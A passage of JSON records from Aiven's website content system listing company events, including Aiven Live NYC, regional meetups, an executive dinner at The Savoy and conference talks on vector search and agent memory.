relationships"},{"_key":"88d0bc0cd40d20f400a4344bc831ed61","_type":"iconItem","iconImage":{"_type":"mainImage","asset":{"_ref":"image-30a5bd1f5d660a3b70fa5c8672d4e8d0ddc69e38-24x24-svg","_type":"reference"}},"subtitle":[{"_key":"2bae8f159866","_type":"block","children":[{"_key":"57e8e6fe1ec40","_type":"span","marks":[],"text":"Dive into practical, hands-on sessions designed to enhance your skills and empower you with actionable knowledge."}],"markDefs":[],"style":"normal"}],"title":"Actionable insights"}],"itemsPerRow":3,"noSpaceBottom":true,"noSpaceTop":false,"primaryCTA":{"_type":"link","externalUrl":"#registration","title":"Reserve my seat"},"roundedCorners":"rounded-none","title":"3 reasons to attend Aiven Live"},{"_key":"480bf9c78d77","_type":"iframe","addSpaceBottom":false,"addSpaceTop":false,"align":"left","backgroundPosition":"center center","backgroundPositionMobile":"center center","backgroundSize":"cover","backgroundSizeMobile":"cover","disabled":false,"fullWidth":false,"headerPosition":"left","id":"venue","iframeHeight":450,"iframeSource":"https://www.google.com/maps/embed?pb=!1m18!1m12!1m3!1d3022.580977833388!2d-73.97772278712519!3d40.74924487126868!2m3!1f0!2f0!3f0!3m2!1i1024!2i768!4f13.1!3m3!1m2!1s0x89c259a8c65df4f7%3A0x691c231cf80bc0aa!2s%40Ease%20605!5e0!3m2!1sen!2sfi!4v1704205127227!5m2!1sen!2sfi","iframeTitle":"Ease 605 embedded google map","noSpaceBottom":false,"noSpaceTop":false,"roundedCorners":"rounded-none","subtitle":[{"_key":"fe4b26f55b2f","_type":"block","children":[{"_key":"df4897e88bbb","_type":"span","marks":["strong"],"text":"@Ease 605 3rd Avenue"}],"markDefs":[],"style":"normal"},{"_key":"2a70372c3efd","_type":"block","children":[{"_key":"f226fdf9a8220","_type":"span","marks":[],"text":"605 3rd Ave 7th Floor, \nNew York, NY 10158, \nUnited States"}],"markDefs":[],"style":"normal"},{"_key":"f4146a2c6c24","_type":"block","children":[{"_key":"68d5ae2b3df8","_type":"span","marks":["strong"],"text":"Getting there"}],"markDefs":[],"style":"normal"},{"_key":"5bf86657f35f","_type":"block","children":[{"_key":"84d173bd8253","_type":"span","marks":[],"text":"Nearby parking garages:\nIcon Parking - 245 East 40th Street"}],"level":1,"listItem":"bullet","markDefs":[],"style":"normal"},{"_key":"c9192ec0b2e2","_type":"block","children":[{"_key":"b7c50b784d9e","_type":"span","marks":[],"text":"Distance from public transportation hubs:\nPort Authority Bus Terminal (1.2 miles)\nPenn Station (1.1 miles)\nGrand Central Station (0.4 miles)"}],"level":1,"listItem":"bullet","markDefs":[],"style":"normal"}],"title":"Happening at @Ease 605"},{"_key":"79d5169a9f6b9545666a2dbacb593b30","_type":"accordion","addSpaceBottom":false,"addSpaceTop":true,"backgroundColor":{"_ref":"5d01a557-a137-4fae-8bfb-d4e00870ff92","_type":"reference"},"backgroundPosition":"center center","backgroundPositionMobile":"center center","backgroundSize":"cover","backgroundSizeMobile":"cover","disabled":false,"fullWidth":false,"id":"faq","isFaqAccordion":true,"items":[{"_key":"b40e256df238","_type":"accordionItem","id":"free","panelText":[{"_key":"500473e0b4fc","_type":"block","children":[{"_key":"9773b0967c280","_type":"span","marks":[],"text":"Yes, the event is free to attend however registration is now closed. "}],"markDefs":[],"style":"normal"}],"title":"Is Aiven Live event free for registration?"},{"_key":"32904189d64647db0fc630f1cb8eba57","_type":"accordionItem","id":"guest","panelText":[{"_key":"201976a8707b","_type":"block","children":[{"_key":"674cbb5825eb0","_type":"span","marks":[],"text":"All guests must be on the registration list to be permitted entry including plus ones. Please note that all guests will be asked for a government-issued ID on-site during check-in. "}],"markDefs":[],"style":"normal"}],"title":"Can I bring a guest?"},{"_key":"081730ebc2dd1c48e1c171330b20363e","_type":"accordionItem","id":"recorded","panelText":[{"_key":"04c92c3988d2","_type":"block","children":[{"_key":"916bf440c1530","_type":"span","marks":[],"text":"The event will be recorded and uploaded to Aiven's website at a later date. Not all sessions may be offered on-demand. The event will not be live-streamed. "}],"markDefs":[],"style":"normal"},{"_key":"c3b70c09af2d","_type":"block","children":[{"_key":"7165024327cc","_type":"span","marks":[],"text":""}],"markDefs":[],"style":"normal"},{"_key":"9c7275212dfd","_type":"block","children":[{"_key":"c2105efd4323","_type":"span","marks":[],"text":""}],"markDefs":[],"style":"normal"}],"title":"Will the event be recorded or live-streamed?"},{"_key":"75fca6d667861fb45fedf12683d10e63","_type":"accordionItem","id":"meals","panelText":[{"_key":"2d2c5fd2ccf8","_type":"block","children":[{"_key":"e89993d38e6b","_type":"span","marks":[],"text":"Yes! We've got you covered. There will be breakfast, lunch, snacks, and refreshments available throughout the day."}],"markDefs":[],"style":"normal"}],"title":"Will meals be provided? "},{"_key":"3a1aab5e549b98307d720917f6d28e67","_type":"accordionItem","id":"giftcard","panelText":[{"_key":"2d2c5fd2ccf8","_type":"block","children":[{"_key":"e89993d38e6b","_type":"span","marks":[],"text":"The first 50 attendees to arrive will receive a $50 Uber voucher via email after the event. The registration desk will keep track of the first 50 attendees!"}],"markDefs":[],"style":"normal"}],"title":"How do I get the $50 Uber or Uber Eats giftcard? "},{"_key":"78b5421776b106caafc53136f7c42b98","_type":"accordionItem","id":"questions","panelText":[{"_key":"2d2c5fd2ccf8","_type":"block","children":[{"_key":"6ce31e9545f1","_type":"span","marks":[],"text":"Visit the help desk or \"Ask Me Anything\" stations at anytime to speak with an Aiven team member. You can also contact the event organizers by emailing "},{"_key":"79b23009c603","_type":"span","marks":["55266cb78217"],"text":"aiven-live@aiven.io"},{"_key":"46790fb424e5","_type":"span","marks":[],"text":". "}],"markDefs":[{"_key":"55266cb78217","_type":"link","href":"mailto:aiven-live@aiven.io?subject=Aiven%20Live%20NYC%202024"}],"style":"normal"}],"title":"I have a different question that isn't listed above. Who can I speak to onsite?"}],"noSpaceBottom":false,"noSpaceTop":false,"roundedCorners":"rounded","subtitle":[{"_key":"7489a4d7a2ae","_type":"block","children":[{"_key":"0a73fe4b15e00","_type":"span","marks":[],"text":""}],"markDefs":[],"style":"normal"},{"_key":"7489a4d7a2ae_deduped_1","_type":"block","children":[{"_key":"0a73fe4b15e00","_type":"span","marks":[],"text":""}],"markDefs":[],"style":"normal"}],"title":"Got questions? We've got answers."},{"_key":"f8095a7efdd68ee0255daa19eedf8dae","_type":"coverImage","addSpaceBottom":false,"addSpaceTop":false,"backgroundPosition":"center center","backgroundPositionMobile":"center center","backgroundSize":"cover","backgroundSizeMobile":"cover","captionImage":{"_type":"captionImage","caption":[{"_key":"643d92768639","_type":"block","children":[{"_key":"aca500beed420","_type":"span","marks":[],"text":"Photos from Aiven Live London"}],"markDefs":[],"style":"normal"}],"image":{"_type":"mainImage","alt":"Aiven Live London 2023 photo montage","asset":{"_ref":"image-c7a92cba9e03b00c5fd25baa9ef92369da8722e8-1899x555-png","_type":"reference"}}},"carouselImages":[{"_key":"8503cae258cd","_type":"captionImage","image":{"_type":"mainImage","asset":{"_ref":"image-622af789cea6afc159ac978c5abdc05e9005c193-7008x4672-jpg","_type":"reference"}}},{"_key":"c6d69d9e5611","_type":"captionImage","image":{"_type":"mainImage","asset":{"_ref":"image-192ca0f07b58431f7e5b3466fe90d6d2ec1ccdd0-6542x4361-jpg","_type":"reference"}}},{"_key":"6349b1e0cc1d","_type":"captionImage","image":{"_type":"mainImage","asset":{"_ref":"image-0079764c975a2ee0d5fdf50804e53a890624e52c-5800x3867-jpg","_type":"reference"}}}],"disabled":true,"fullWidth":false,"isCarousel":false,"noSpaceBottom":true,"noSpaceTop":false,"roundedCorners":"rounded-none"},{"_key":"dbaecc7b2ae00efb8d9a6b404281bf2c","_type":"socialMediaShare","addSpaceBottom":false,"addSpaceTop":true,"backgroundPosition":"center center","backgroundPositionMobile":"center center","backgroundSize":"cover","backgroundSizeMobile":"cover","disabled":false,"fullWidth":false,"noSpaceBottom":true,"noSpaceTop":false,"roundedCorners":"rounded-none","shareTitle":"Join us at Aiven Live NYC on 28th Feb 2024","shareUrl":"https://aiven.io/events/aiven-live-nyc","subtitle":[{"_key":"cb336a9cf719","_type":"block","children":[{"_key":"d300dad517690","_type":"span","marks":[],"text":"Extend this invitation to your colleagues. We look forward to hosting you!"}],"markDefs":[],"style":"normal"}],"title":"Want to invite your network? "},{"_key":"82db22c652e2","_type":"logoList","addSpaceBottom":false,"addSpaceTop":true,"backgroundPosition":"center center","backgroundPositionMobile":"center center","backgroundSize":"cover","backgroundSizeMobile":"cover","disabled":false,"fullWidth":false,"grayscale":false,"id":"partners","logos":[{"_key":"21a632a1449d","_ref":"903d342d-2e72-4e77-8dde-194d888ae71c","_type":"reference"},{"_key":"f0c3de02c10a","_ref":"8578a12c-749c-4793-ae71-76091d951166","_type":"reference"},{"_key":"c86f64ce7c27","_ref":"ddba688e-ac0b-40be-87d6-6508b6d24b57","_type":"reference"}],"noSpaceBottom":false,"noSpaceTop":true,"showLogoCaption":false,"tagline":"Meet and learn from our partners","variant":"logo"}],"eventDetails":[{"_key":"a78ab9358721","_type":"block","children":[{"_key":"409105bc77e4","_type":"span","marks":[],"text":"Join us on February 28th for Aiven Live in New York City."}],"markDefs":[],"style":"normal"},{"_key":"f9c37ef9224d","_type":"block","children":[{"_key":"736880b167b7","_type":"span","marks":[],"text":""}],"markDefs":[],"style":"normal"},{"_key":"2cf00c2fc4d9","_type":"block","children":[{"_key":"5093a2d51560","_type":"span","marks":[],"text":"What should you expect?"}],"markDefs":[],"style":"normal"},{"_key":"a0df7f83ddb4","_type":"block","children":[{"_key":"c5bd313daba1","_type":"span","marks":[],"text":"Keynotes from industry experts"}],"level":1,"listItem":"bullet","markDefs":[],"style":"normal"},{"_key":"56c17e1ebad8","_type":"block","children":[{"_key":"bd0e566261e6","_type":"span","marks":[],"text":"Best practices shared in breakout sessions"}],"level":1,"listItem":"bullet","markDefs":[],"style":"normal"},{"_key":"add1f80d60bb","_type":"block","children":[{"_key":"593c61850a1a","_type":"span","marks":[],"text":"Network with your peers and participate in thoughtful conversations"}],"level":1,"listItem":"bullet","markDefs":[],"style":"normal"}],"eventTime":"10:00 - 16:00 ET","eventTitle":"Aiven Live: New York City","heroWithCountdown":true,"iframeForm":{"iframeHeader":"Register now to secure your seat","iframeHeight":800,"iframeSource":"https://go.aiven.io/l/890043/2023-10-03/t4g7m"},"image":{"_type":"mainImage","asset":{"_ref":"image-6a58860fd6ed1e615cd5b3d351eae7df26fcb7c6-5000x2014-jpg","_type":"reference"}},"primaryCTA":{"_type":"link","externalUrl":"#registration","title":"Registration closed"},"registrationType":"iframe","replaceContent":false},"primaryCTA":{"_type":"link","externalUrl":"https://aiven-fly.fly.dev/events/aiven-live-london","title":"Register"},"region":"AMER","seo":{"_type":"metaData","metaDescription":"Join us on February 28th 2024 for Aiven Live in NYC. Learn more about unlocking business value with an open source data platform and network with your peers.","metaImage":{"_type":"mainImage","alt":"Aiven Live New York City","asset":{"_ref":"image-0b48e86d6efa421141b0227f7922784685b53ab4-1200x630-jpg","_type":"reference"}},"metaTitle":"Aiven Live: New York City"},"slug":{"_type":"slug","current":"/events/aiven-live-nyc"},"startDate":"2024-02-28T15:00:00.000Z","title":"Aiven Live: New York City","type":"event"} {"__i18n_lang":"en","_createdAt":"2023-12-21T20:35:06Z","_id":"a8e910a7-c512-49a3-8617-4af5d87ed986","_rev":"Do3156plRwIXmiihO5Zgcv","_type":"event","_updatedAt":"2023-12-21T20:35:06Z","contentIsPage":false,"country":"SE","description":[{"_key":"4aacc6979bdc","_type":"block","children":[{"_key":"c80c2d30ac760","_type":"span","marks":[],"text":"Join us on Wednesday February 7, at Convendum, for \"Developer Experience: Unlocking the Power of Platforms\"."}],"markDefs":[],"style":"normal"}],"endDate":"2024-02-07T20:00:00.000Z","linkTitle":"Register","location":"Stockholm","pageType":{"_type":"eventPage","calendlyWidget":{"height":"600px"},"heroWithCountdown":false,"iframeForm":{"iframeHeight":800},"isCaptionShown":false,"replaceContent":false},"primaryCTA":{"_type":"link","externalUrl":"https://www.meetup.com/stockholm-open-source-data-infrastructure-meetup/events/297750459/","title":"RSVP"},"region":"EMEA","startDate":"2024-02-07T17:00:00.000Z","title":"Stockholm OSDI","type":"meetup"} {"__i18n_lang":"en","_createdAt":"2023-12-21T20:50:49Z","_id":"d1a74e54-bf92-4b6e-bd18-68406a539785","_rev":"Do3156plRwIXmiihO5a1fj","_type":"event","_updatedAt":"2023-12-21T20:50:49Z","contentIsPage":false,"country":"US","description":[{"_key":"969e1d6e6dea","_type":"block","children":[{"_key":"554a239734200","_type":"span","marks":[],"text":"Join us on Feb 12, at Improving, for a series of fun, short talks. This is a joint meetup between Austin Open Source Data Infrastructure and Austin DevOps."}],"markDefs":[],"style":"normal"}],"endDate":"2024-02-12T20:00:00.000Z","linkTitle":"Register","location":"Austin","pageType":{"_type":"eventPage","calendlyWidget":{"height":"600px"},"heroWithCountdown":false,"iframeForm":{"iframeHeight":800},"isCaptionShown":false,"replaceContent":false},"primaryCTA":{"_type":"link","externalUrl":"https://www.meetup.com/austin-open-source-data-infrastructure-meetup/events/297901571/","title":"RSVP"},"region":"AMER","startDate":"2024-02-12T17:00:00.000Z","title":"Austin OSDI","type":"meetup"} {"__i18n_lang":"en","_createdAt":"2024-09-11T06:53:38Z","_id":"03c3227f-1a12-4042-92d5-262e0649e8a7","_rev":"kRa0sLdvlB8lPXh7myj7QT","_type":"event","_updatedAt":"2024-09-16T13:23:26Z","contentIsPage":true,"country":"GB","endDate":"2024-10-03T18:30:00.000Z","hideInEventPage":true,"linkTitle":"Register","location":"The Savoy, London","pageType":{"_type":"eventPage","content":[{"_key":"ohstwyoh1ktl5mmi0wec50yvo0nld9xg","_type":"iframe","addSpaceBottom":false,"addSpaceTop":false,"align":"left","backgroundPosition":"center center","backgroundPositionMobile":"center center","backgroundSize":"cover","backgroundSizeMobile":"cover","disabled":false,"fullWidth":true,"headerPosition":"left","id":"venue","iframeHeight":450,"iframeSource":"https://www.google.com/maps/embed?pb=!1m18!1m12!1m3!1d2483.167148240302!2d-0.12052049999999997!3d51.510149399999996!2m3!1f0!2f0!3f0!3m2!1i1024!2i768!4f13.1!3m3!1m2!1s0x487604cbcfae5a4d%3A0x15f4effda4fbdc29!2sThe%20Savoy!5e0!3m2!1sen!2sfi!4v1726041990742!5m2!1sen!2sfi\" width=\"600\" height=\"450\" style=\"border:0;\" allowfullscreen=\"\" loading=\"lazy\" referrerpolicy=\"no-referrer-when-downgrade\"","iframeTitle":"The Roaring Fork - Downtown Location","noSpaceBottom":false,"noSpaceTop":false,"roundedCorners":"rounded-none","subtitle":[{"_key":"2e2cc9ae2d37","_type":"block","children":[{"_key":"e75879d1842b","_type":"span","marks":["strong"],"text":"The Savoy - Gondoliers Room"}],"markDefs":[],"style":"normal"},{"_key":"352f70d3d7b2","_type":"block","children":[{"_key":"ab3ecca1c5ef","_type":"span","marks":[],"text":""}],"markDefs":[],"style":"normal"},{"_key":"331c990ef35e","_type":"block","children":[{"_key":"adffbb3b35350","_type":"span","marks":[],"text":"Strand"}],"markDefs":[],"style":"normal"},{"_key":"829585cd722b","_type":"block","children":[{"_key":"d88f0711b4db","_type":"span","marks":[],"text":"London "}],"markDefs":[],"style":"normal"},{"_key":"d16827313979","_type":"block","children":[{"_key":"e882e60476a3","_type":"span","marks":[],"text":"WC2R 0EZ"}],"markDefs":[],"style":"normal"},{"_key":"a8393e64c721","_type":"block","children":[{"_key":"ee4f25dc352e","_type":"span","marks":[],"text":"United Kingdom"}],"markDefs":[],"style":"normal"}],"title":"The Savoy"},{"_key":"rrs523lnvop0ol1v05w8wlqpzpwp75tp","_type":"accordion","addSpaceBottom":false,"addSpaceTop":true,"backgroundColor":{"_ref":"5d01a557-a137-4fae-8bfb-d4e00870ff92","_type":"reference"},"backgroundPosition":"center center","backgroundPositionMobile":"center center","backgroundSize":"cover","backgroundSizeMobile":"cover","disabled":false,"fullWidth":false,"id":"faq","isFaqAccordion":true,"items":[{"_key":"kq8zr0ontm4rlfh6qwcgwt1klu7xo68x","_type":"accordionItem","id":"free","panelText":[{"_key":"pnq4t5nyh14z1rkiiol7n3qcsrx8jpai","_type":"block","children":[{"_key":"lgwm41ai9oz1q33nquerxf8yvsvw0u1l","_type":"span","marks":[],"text":"Yes, the dinner is free to attend. "}],"markDefs":[],"style":"normal"}],"title":"Is this a free event?"},{"_key":"v74ely2duhr4yw8kxt6lneg54z75h606","_type":"accordionItem","id":"guest","panelText":[{"_key":"7mgslitp4164m6b7u0oyjpmtcvnphrb7","_type":"block","children":[{"_key":"5i00bbdlyah1hz9ocu53vtmhvfee8xa9","_type":"span","marks":[],"text":"Unfortunately with seats limited, we will not be able to accommodate +1's."}],"markDefs":[],"style":"normal"}],"title":"Can I bring a guest?"},{"_key":"760z6ji9fnrv0xjhhnf85s2v4425m8xj","_type":"accordionItem","panelText":[{"_key":"l065wio3eid556bds1jbozxv8gxbkbol","_type":"block","children":[{"_key":"ef9zhvisv3q5tgcudkcqyqzw3eix4fj8","_type":"span","marks":[],"text":"Please reach out to Alex Hoppenbrouwers at alex.hoppenbrouwers@aiven.io. "}],"markDefs":[],"style":"normal"}],"title":"Who is the point of contact for the event if I have questions?"}],"noSpaceBottom":false,"noSpaceTop":false,"roundedCorners":"rounded","subtitle":[{"_key":"v6jzh267vp5icrhm02l8gggoh5u604ku","_type":"block","children":[{"_key":"8pxwaiumiw4ya2vnx14m71lr5ilwi9r1","_type":"span","marks":[],"text":""}],"markDefs":[],"style":"normal"},{"_key":"qtjaryaqr67wmxu8qe5azknygz5balm8","_type":"block","children":[{"_key":"06nqjcr8vlnxbypl0lsmu0jlxkrgvayd","_type":"span","marks":[],"text":""}],"markDefs":[],"style":"normal"}],"title":"Got questions? We've got answers."}],"eventDetails":[{"_key":"c0ffaa94fef7","_type":"block","children":[{"_key":"e0a457f65773","_type":"span","marks":[],"text":"Join us at one of London's iconic hotel, The Savoy for an evening filled with engaging conversations, networking opportunities, and of course, some seriously sumptuous cuisine. We'll begin at 6:30 p.m."}],"markDefs":[],"style":"normal"},{"_key":"b0f1527eaefe","_type":"block","children":[{"_key":"2c8c9564c492","_type":"span","marks":[],"text":"Don't miss out on this transformative gathering – reserve your spot now and let's raise a glass and have a great evening together!"}],"markDefs":[],"style":"normal"}],"eventTime":"18:30 - 21:30 BST","eventTitle":"Aiven Executive Dinner ","heroVisualType":"image","heroWithCountdown":false,"iframeForm":{"iframeHeader":"Reserve your spot","iframeHeight":800,"iframeSource":"https://go.aiven.io/l/890043/2024-09-11/vdwvj"},"image":{"_type":"mainImage","asset":{"_ref":"image-a91a1ec1aa809fedb25a7a47fb5e25c8ec194f2a-1079x787-jpg","_type":"reference"}},"isCaptionShown":false,"registrationType":"iframe","replaceContent":false},"region":"EMEA","seo":{"_type":"metaData","metaDescription":"Join us for a technology and culinary experience at The Savoy in downtown London on October 3rd at 6:30 p.m.","metaImage":{"_type":"mainImage","asset":{"_ref":"image-a91a1ec1aa809fedb25a7a47fb5e25c8ec194f2a-1079x787-jpg","_type":"reference"}},"metaTitle":"Aiven London Executive Dinner"},"slug":{"_type":"slug","current":"/events/aiven-executive-dinner-the-savoy"},"startDate":"2024-10-03T15:30:00.000Z","title":"Aiven Executive Dinner @ The Savoy","type":"event"} {"__i18n_lang":"en","_createdAt":"2024-09-16T16:59:07Z","_id":"df31d642-7f93-4d22-abe4-787c6ab7a8de","_rev":"2eqiUp79DxBCItwrHvRSC7","_type":"event","_updatedAt":"2024-09-16T16:59:07Z","contentIsPage":false,"country":"GB","description":[{"_key":"9a6d1fcd375c","_type":"block","children":[{"_key":"50ced696b5250","_type":"span","marks":[],"text":"One of Europe's largest conferences for .NET \u0026 Agile development"}],"markDefs":[],"style":"normal"}],"endDate":"2025-01-31T14:00:00.000Z","hideInEventPage":false,"linkTitle":"Register","location":"London","pageType":{"_type":"eventPage","heroVisualType":"image","heroWithCountdown":false,"iframeForm":{"iframeHeight":800},"isCaptionShown":false,"replaceContent":false},"primaryCTA":{"_type":"link","externalUrl":"https://ndclondon.com/","title":"Join"},"region":"EMEA","startDate":"2025-01-27T14:00:00.000Z","talks":[{"_key":"215fba62ef66","_type":"talk","description":[{"_key":"909f50d6e911","_type":"block","children":[{"_key":"4c89277796fe0","_type":"span","marks":[],"text":"The underlying idea is quite straightforward. For example, let's take a movie recommendation system. The idea is first to represent each movie in our catalog as a vector, a numerical representation of a piece of text. Next we also convert the search phrase into a vector. Having done that we enter a whole new realm — a multidimensional space where these vectors replace the original text values. Now through some mathematical techniques, we can determine which movie representations are closest to each other and to our search phrase!"}],"markDefs":[],"style":"normal"},{"_key":"4e74b23a6b16","_type":"block","children":[{"_key":"5719976a170a0","_type":"span","marks":[],"text":"But how do we create such vector representations? We need an AI model trained on vast amounts of data to recognize patterns and effectively convert text phrases into vectors. We also need proper tools to run the model and do the inferences."}],"markDefs":[],"style":"normal"},{"_key":"8238b1d9bb5d","_type":"block","children":[{"_key":"299e284e78860","_type":"span","marks":[],"text":"All of this and more you’ll learn in this session. We'll try out different data solutions - ClickHouse, OpenSearch, PGVector and others. We'll also explore different models that are available depending on your language preference and programming skills. Or, if you don’t want to run the model locally, what APIs you can use to do the inference for free."}],"markDefs":[],"style":"normal"},{"_key":"c687f9a23569","_type":"block","children":[{"_key":"1b8a85e143e00","_type":"span","marks":[],"text":"Plenty of demos and a bit of coding for each of the options. This session will be useful for anyone who is intrigued by contextual search and usage of AI, but might find themselves overwhelmed by the complexities to get started."}],"markDefs":[],"style":"normal"}],"speakers":[{"_key":"bbce1e9a81d6","_ref":"0751a33e-612e-404f-9e77-0b5da9ec746a","_type":"reference"}],"title":"A deep dive into vector search technology and tools"},{"_key":"51bc040db8dc","_type":"talk","description":[{"_key":"c2af4835840c","_type":"block","children":[{"_key":"54eec0639c3c0","_type":"span","marks":[],"text":"We'll demonstrate how to build a communication process using Valkey for pub/sub messaging to maintain agent independence and Apache Kafka as a temporary storage for short-term memory. Once the ongoing conversation has ended, agents enter a reflection mode where fresh data is processed using Apache Flink, vectorized, and stored in OpenSearch for future use as long-term memory."}],"markDefs":[],"style":"normal"},{"_key":"0ad1314ad17e","_type":"block","children":[{"_key":"a2bf52b5afaf0","_type":"span","marks":[],"text":"We’ll combine short-term and long-term memories using the Retrieval-Augmented Generation pattern for subsequent conversations, so that our agent system can remember and learn from every interaction."}],"markDefs":[],"style":"normal"},{"_key":"86d8e20535a9","_type":"block","children":[{"_key":"6587b53db4bc0","_type":"span","marks":[],"text":"This setup is particularly relevant in scenarios like automating customer support, managing IoT devices, or any situation where systems need to operate independently while maintaining common state and being in sync in real-time."}],"markDefs":[],"style":"normal"}],"speakers":[{"_key":"6214084a9bef","_ref":"0751a33e-612e-404f-9e77-0b5da9ec746a","_type":"reference"}],"title":"Building long-term memory in agent systems with open source tools"}],"title":"NDC London","type":"event"} {"__i18n_lang":"en","_createdAt":"2023-12-13T10:45:58Z","_id":"b20db7c6-533b-446d-82a3-4982d3b627e4","_rev":"AHEWd1wDMi9t7fkj2e2v9d","_type":"event","_updatedAt":"2024-01-15T09:14:07Z","contentIsPage":false,"country":"US","description":[{"_key":"1a50d311cbf5","_type":"block","children":[{"_key":"e71c0926e86d","_type":"span","marks":[],"text":"Meet with Aiven at AWS re:Invent 2023! Learn about Aiven's partnership with AWS and our open source data platform. "}],"markDefs":[],"style":"normal"}],"endDate":"2023-12-01T21:00:00.000Z","linkTitle":"Register","location":"Las Vegas","pageType":{"_type":"eventPage","calendlyWidget":{"height":"600px"},"heroWithCountdown":false,"iframeForm":{"iframeHeight":800},"isCaptionShown":false,"replaceContent":false},"region":"AMER","startDate":"2023-11-27T14:00:00.000Z","talks":[{"_key":"9b2933106d4d","_type":"talk","description":[{"_key":"3b02e0ff0418","_type":"block","children":[{"_key":"cd88e21fd8280","_type":"span","marks":[],"text":"Did you miss our daily AWS re:Invent recaps? No worries! You can catch up on the updates we shared during the Aiven live-streamed recaps from AWS re:Invent. "},{"_key":"945b9a1db9d2","_type":"span","marks":["b349e0007c4c"],"text":"Watch it on YouTube"},{"_key":"c7b753860a81","_type":"span","marks":[],"text":"."}],"markDefs":[{"_key":"b349e0007c4c","_type":"link","href":"https://www.youtube.com/playlist?list=PLo6PI-0mPVLvzfaRXbQn-3jqLZXLltLjt"}],"style":"normal"},{"_key":"1be25af802ee","_type":"block","children":[{"_key":"ecc719782ffb","_type":"span","marks":[],"text":""}],"markDefs":[],"style":"normal"},{"_key":"9e3a3dcbf52d","_type":"block","children":[{"_key":"590d71f9d282","_type":"span","marks":[],"text":"Featuring special guests:"}],"markDefs":[],"style":"normal"},{"_key":"9b30ea966eeb","_type":"block","children":[{"_key":"6756122a9b7d","_type":"span","marks":[],"text":"Colleen Coll and April Palmer from Duckbill"}],"level":1,"listItem":"bullet","markDefs":[],"style":"normal"},{"_key":"e367e68ee2d1","_type":"block","children":[{"_key":"886f723d87df","_type":"span","marks":[],"text":"Christina Warren from GitHub"}],"level":1,"listItem":"bullet","markDefs":[],"style":"normal"},{"_key":"b9446f4f9647","_type":"block","children":[{"_key":"514aa8431cd7","_type":"span","marks":[],"text":"David Tippett from OpenSearch"}],"level":1,"listItem":"bullet","markDefs":[],"style":"normal"},{"_key":"f36f3cc4e835","_type":"block","children":[{"_key":"3e017f3e283d","_type":"span","marks":[],"text":"Erin Mikail Staples from LaunchDarkly"}],"level":1,"listItem":"bullet","markDefs":[],"style":"normal"},{"_key":"7be22dc5b0a4","_type":"block","children":[{"_key":"e8e9605da494","_type":"span","marks":[],"text":"Aiven's very own Francesco Tisiot and Ben Gamble"}],"level":1,"listItem":"bullet","markDefs":[],"style":"normal"},{"_key":"7ff3488427b2","_type":"block","children":[{"_key":"bef89a4137aa","_type":"span","marks":[],"text":"Hosted by Jenn Junod"}],"level":1,"listItem":"bullet","markDefs":[],"style":"normal"}],"speakers":[{"_key":"664308de2e22","_ref":"5b409a95-23dd-4956-910a-df038eb978ff","_type":"reference"}],"title":"Daily AWS re:Invent Livestream"}],"title":"AWS re:Invent 2023","type":"event"} {"__i18n_lang":"en","_createdAt":"2024-06-04T15:36:13Z","_id":"b2258f7b-f0c4-4477-a1dc-22ed046eb161","_rev":"5Y6vKnaopt6UOraqDjlHDt","_type":"event","_updatedAt":"2024-06-04T15:53:13Z","contentIsPage":true,"country":"US","description":[{"_key":"ad965e7c9d01","_type":"block","children":[{"_key":"8ca40a5b2dd50","_type":"span","marks":[],"text":"Meet the Aiven team at booth 701 during AWS Summit New York 2024 and learn how our data and AI platform can help lower your cloud and infrastructure costs."}],"markDefs":[],"style":"normal"}],"endDate":"2024-07-10T21:00:00.000Z","linkTitle":"Meet with Aiven!","location":"Jacob Javitz Convention Center","pageType":{"_type":"eventPage","content":[{"_key":"69f12487f7f9","_type":"iconList","addSpaceBottom":false,"addSpaceTop":false,"backgroundColor":{"_ref":"2cc54700-0d3f-443a-9277-51ed0a3ae1c8","_type":"reference"},"backgroundPosition":"center center","backgroundPositionMobile":"center center","backgroundSize":"cover","backgroundSizeMobile":"cover","darkTheme":true,"disabled":false,"fullWidth":false,"headerPosition":"default","iconSize":24,"icons":[{"_key":"87531d2b4024cc3477329aceced2c12e","_type":"iconItem","iconImage":{"_type":"mainImage","asset":{"_ref":"image-30a5bd1f5d660a3b70fa5c8672d4e8d0ddc69e38-24x24-svg","_type":"reference"}},"subtitle":[{"_key":"84cc97bae5e3","_type":"block","children":[{"_key":"a6290c0b13da0","_type":"span","marks":[],"text":"Deploy Aiven for Apache Kafka, OpenSearch, Postgres, MySQL, Cassandra, Caching, and M3 on-premises, as well as in hybrid architectures, with a consistent operating model from on-premises to the cloud."}],"markDefs":[],"style":"normal"}],"title":"Aiven on AWS Outposts"},{"_key":"4e579e9137bd","_type":"iconItem","iconImage":{"_type":"mainImage","asset":{"_ref":"image-8bf6307344286cf3f810660569ecb590fee7fca8-24x24-svg","_type":"reference"}},"subtitle":[{"_key":"22c110c9b689","_type":"block","children":[{"_key":"a9c680977a970","_type":"span","marks":[],"text":"With Aiven for AI Vector Databases, power vector similarity search - the foundational data that drives GenAI and increases the relevance of search results and LLMs."}],"markDefs":[],"style":"normal"}],"title":"Your path to GenAI"},{"_key":"87c286237d3f6b3697260943cab4820d","_type":"iconItem","iconImage":{"_type":"mainImage","asset":{"_ref":"image-092f95c7546f16488994272d57c0d36d60efb70b-24x24-svg","_type":"reference"}},"subtitle":[{"_key":"1b9d74a0c689","_type":"block","children":[{"_key":"281215a456700","_type":"span","marks":[],"text":"Use an open source Observability stack to scale systems in real time."}],"markDefs":[],"style":"normal"}],"title":"Automated scaling"}],"itemsPerRow":3,"noSpaceBottom":true,"noSpaceTop":false,"roundedCorners":"rounded","title":"Build with Aiven on AWS"},{"_key":"51eea7b2c681","_type":"coverImage","addSpaceBottom":false,"addSpaceTop":false,"backgroundPosition":"center center","backgroundPositionMobile":"center center","backgroundSize":"cover","backgroundSizeMobile":"cover","captionImage":{"_type":"captionImage","image":{"_type":"mainImage","asset":{"_ref":"image-4b0950a899f8397094fa149c02509a5c3dd4812a-1264x250-svg","_type":"reference"}}},"disabled":false,"fullWidth":false,"noSpaceBottom":true,"noSpaceTop":false,"roundedCorners":"rounded-none"},{"_key":"346399997719","_type":"testimonial","addSpaceBottom":false,"addSpaceTop":true,"backgroundPosition":"center center","backgroundPositionMobile":"center 